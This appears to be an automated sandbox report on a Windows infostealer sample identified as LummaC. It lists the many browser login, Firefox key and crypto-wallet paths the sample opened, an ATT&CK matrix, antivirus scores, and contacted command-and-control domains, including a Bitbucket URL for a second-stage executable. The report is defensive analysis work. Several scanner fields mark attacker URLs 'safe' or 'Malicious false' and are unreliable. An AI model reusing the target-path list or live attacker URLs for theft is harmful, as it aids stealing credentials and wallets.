Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior

Source: Yara match

File source: Process Memory Space: iaLId0uLUw.exe PID: 4696, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: iaLId0uLUw.exe PID: 4696, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	44 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	2 Process Injection	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
iaLId0uLUw.exe	58%	ReversingLabs	Win32.Infostealer.Tinba
iaLId0uLUw.exe	49%	Virustotal		Browse
iaLId0uLUw.exe	100%	Avira	TR/Crypt.TPM.Gen
iaLId0uLUw.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://observerfry.lat/dowxo	0%	Avira URL Cloud	safe
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	0%	Avira URL Cloud	safe
https://observerfry.lat/sC	0%	Avira URL Cloud	safe
https://observerfry.lat/p	0%	Avira URL Cloud	safe
https://dz8aopenkvv6s.cloudfront.net	0%	Avira URL Cloud	safe
https://observerfry.lat/fonpo	0%	Avira URL Cloud	safe
https://bbc-object-storage--frontbucket.us-east-	0%	Avira URL Cloud	safe
https://observerfry.lat/pi8os;g	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s3-w.us-east-1.amazonaws.com	3.5.17.0	true	false	high
bitbucket.org	185.166.143.50	true	false	high
observerfry.lat	172.67.199.72	true	false	high
bbuseruploads.s3.amazonaws.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
curverpluch.lat	false	high
slipperyloo.lat	false	high
tentabatte.lat	false	high
manyrestro.lat	false	high
bashfulacid.lat	false	high
https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exe	false	high
observerfry.lat	false	high
wordyfindy.lat	false	high
https://observerfry.lat/api	false	high
shapestickyr.lat	false	high
talkynicer.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://observerfry.lat/dowxo	iaLId0uLUw.exe, 00000000.00000002.2754874613.000000000106D000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2284290826.0000000001065000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exe.0	iaLId0uLUw.exe, 00000000.00000002.2754362482.0000000000CFA000.00000004.00000010.00020000.00000000.sdmp	false		high
https://bbuseruploads.s3.amazonaws.com/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-	iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362356236.00000000056C9000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000002.2754549626.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/pi	iaLId0uLUw.exe, 00000000.00000003.2230960487.0000000001067000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2230044054.000000000106B000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2284290826.0000000001065000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-	iaLId0uLUw.exe, 00000000.00000003.2376134998.000000000104D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://observerfry.lat/p	iaLId0uLUw.exe, 00000000.00000003.2230960487.0000000001067000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2230044054.000000000106B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/	iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net	iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	false		high
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	iaLId0uLUw.exe, 00000000.00000003.2180847977.000000000573A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	iaLId0uLUw.exe, 00000000.00000003.2180847977.000000000573A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aui-cdn.atlassian.com/	iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbuseruploads.s3.amazonaws.com:443/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3	iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp	false		high
https://web-security-reports.services.atlassian.com/csp-report/bb-websiteX-Frame-OptionsSAMEORIGINX-	iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	iaLId0uLUw.exe, 00000000.00000003.2182012824.00000000059A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bitbucket.org/	iaLId0uLUw.exe, 00000000.00000002.2754874613.000000000106D000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://observerfry.lat/sC	iaLId0uLUw.exe, 00000000.00000002.2754874613.000000000106D000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2284290826.0000000001065000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net	iaLId0uLUw.exe, 00000000.00000002.2754772662.0000000001066000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://web-security-reports.services.atlassian.com/csp-report/bb-website	iaLId0uLUw.exe, 00000000.00000003.2362356236.000000000571B000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000002.2757170097.000000000571B000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.0000000001056000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375880438.000000000571B000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362480430.000000000104F000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2375947604.0000000001063000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2376314700.000000000106C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	iaLId0uLUw.exe, 00000000.00000003.2126276115.00000000056BB000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126010108.00000000056BE000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2126107439.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	iaLId0uLUw.exe, 00000000.00000003.2180847977.000000000573A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.5.dr	false		high
https://observerfry.lat/	iaLId0uLUw.exe, 00000000.00000003.2230960487.0000000001067000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2180185979.00000000056FD000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2230044054.000000000106B000.00000004.00000020.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2180509854.000000000570F000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000002.2756974870.0000000005680000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2284368365.0000000005681000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	iaLId0uLUw.exe, 00000000.00000003.2180847977.000000000573A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	iaLId0uLUw.exe, 00000000.00000003.2362319023.000000000572D000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000002.2757590651.0000000005D79000.00000002.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2362356236.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	false		high
